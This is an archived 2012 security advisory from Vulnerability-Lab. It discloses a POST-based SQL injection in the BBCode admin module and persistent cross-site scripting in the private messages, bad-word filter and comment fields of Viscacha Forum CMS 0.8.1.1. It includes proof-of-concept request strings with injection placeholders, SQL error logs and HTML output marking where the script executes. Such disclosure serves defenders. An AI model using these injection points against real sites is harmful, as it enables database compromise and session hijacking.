发布 2012-05-13 漏洞条目

Viscacha Forum CMS 0.8.1.1 – Multiple Vulnerabilities

Exploit Source

Title:

======

Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities

Date:

=====

2012-05-08

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=525

VL-ID:

=====

525

Common Vulnerability Scoring System:

====================================

7.3

Introduction:

=============

Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers

is to combine the current standards with new and user friendly features. The system supports packages for

easily extending the core system. Viscacha is a free bulletin board system with an integrated content

management system. The intention of the software engineers is to combine the current standards with new

and user friendly features. The system supports packages (plugins and components) for easily extending the

core system. Viscacha uses an database abstraction layer to support as many databases as possible. With

this software you can easily set up a complete (personal) homepage. The CMS extends the bulletin board

system to have a homepage which is connected to the community.

(Copy of the vendor Homepage: http://www.viscacha.org )

Abstract:

=========

The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Viscacha Bulletin Board CMS v0.8.1.1.

Report-Timeline:

================

2012-05-08: Public or Non-Public Disclosure

Status:

========

Published

Exploitation-Technique:

=======================

Remote

Severity:

=========

High

Details:

========

1.1

A remote SQL Injection vulnerability (POST) is detected in Viscacha Bulletin Board CMS v0.8.1.1.

The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands

on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.

The vulnerability is located on the bbcode module of the forum application.

Vulnerable Module(s):

[+] BBCode - Tags & BB-Code | Change or Example

--- SQL Exception Logs ---

Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near ` at line 1

File: /home/opencms/public_html/demo/viscacha/admin/bbcodes.php on line 1164

Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd`AND twoparams = `0`AND in

/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151

Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near ` at line 1

File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164

Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd` AND twoparams = `0` AND in

/home/opencms/public_html/demo/viscacha/classes/database/mysql.inc.php on line 151

Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near` at line 1

File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164

Query: SELECT * FROM v_bbcode WHERE bbcodetag = `-1`AND twoparams = `0` AND in

/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151

Picture(s):

../1.png

../2.png

1.2

Multiple persistent input validation vulnerabilities is detected in Viscacha Bulletin Board CMS v0.8.1.1.

The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).

Successful exploitation of the vulnerability can lead to session hijacking (manager/admin/user) or stable (persistent)

context manipulation. Exploitation requires low user inter action.

Vulnerable Module(s):

[+] Private Messages System - Text Input Field

[+] Zensur - Bad Word Input Field

[+] Kommentar - Portal Input Field Text & Topic

Picture(s):

../3.png

../4.png

Proof of Concept:

=================

1.1

The sql injection vulnerability can be exploited by remote attackers without user inter action.

For demonstration or reproduce ...

PoC: POSTDATA

title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27[SQL-INJECTION]&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27

... or

title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=[SQL-INJECTION]

... &

title=say&bbcodetag=-1%27[SQL-INJECTION]&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27

1.2

The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action.

For demonstration or reproduce ...

Review: Zensur - Bad Word & Listing

</tr>

<tr>

<td class="ubox" width="100%" colspan=3 align="center"><input type="submit" name="Submit"

value="Löschen"></td>

</tr>

</table>

</form>

<br>

<form name="form"

method="post" action="admin.php?action=bbcodes&job=add&tp=censor">

<tr>

<td class="obox" colspan=2>Wort hinzufügen</b></td>

</tr>

<tr>

<td class="mbox" width="30%">Wort:<br /><span class="stext">Maximal 200 Zeichen</span></td>

</tr>

<tr>

<td class="mbox" width="30%">Zensiertes Wort:<br /><span class="stext">

Maximal 255 Zeichen</span></td>

<td class="mbox" width="70%"><input type="text" name="temp2"

size="70"></td>

</tr>

<tr>

<td class="ubox" colspan="2" align="center"><

input type="submit" name="Submit" value="Hinzufügen"></td>

</tr>

</table>

</form>

<div class="stext center">[Generiert in 0.00224 Sekunden]

[Datenbankabfragen: 2]</div>

</div>

</body>

</html>

</iframe></td>

URL: http://127.0.0.1:8080/viscacha/admin.php?action=bbcodes&job=censor

Review: PN Message Preview

<label for="topic">Titel:</label>

<input tabindex="2000" id="topic" class="label" name="topic" size="30" value=""

type="text"><[INJECT SCRIPT CODE HERE!] <"="">

<br class="newinput"

/><hr class="formsep" />

URL: http://127.0.0.1:8080/viscacha/pm.php

... or

Review: PN Message Preview - Arrived Message - Inbox

<span class="stext">Betreff:

</span>

<hr>

"><[EXECUTION OF SCRIPT CODE HERE!] '

<<br="" class="iefix_left">

</div>

<a name="generallinks"></a><strong>Verschiedene Links</strong>

<ul>

URL: http://127.0.0.1:8080/viscacha/pm.php

Review: Kommentare - Comments Input/Output

<input id="membersuggest_val" tabindex="1" onkeyup="ajax_searchmember(this.value, key(event))"

onblur="ajax_searchmember(this.value)" name="name" size="40" value=""><

[EXECUTION OF SCRIPT CODE HERE!] <" type="text">

</span>

</div>

<label for="topic">Titel:</label>

... or

<label

Risk:

=====

1.1

The security risk of the sql injection vulnerability is estimated as high(-).

1.2

The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

Credits:

========

Vulnerability Laboratory [Research Team]

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business

profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some

states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation

may not apply.

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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of

other media, are reserved by Vulnerability-Lab Research Team or its suppliers.

VULNERABILITY RESEARCH LABORATORY TEAM

Website: www.vulnerability-lab.com

Mail: research@vulnerability-lab.com

作者: Vulnerability-Lab
日期: 2012-05-13
类别: webapps
平台: php

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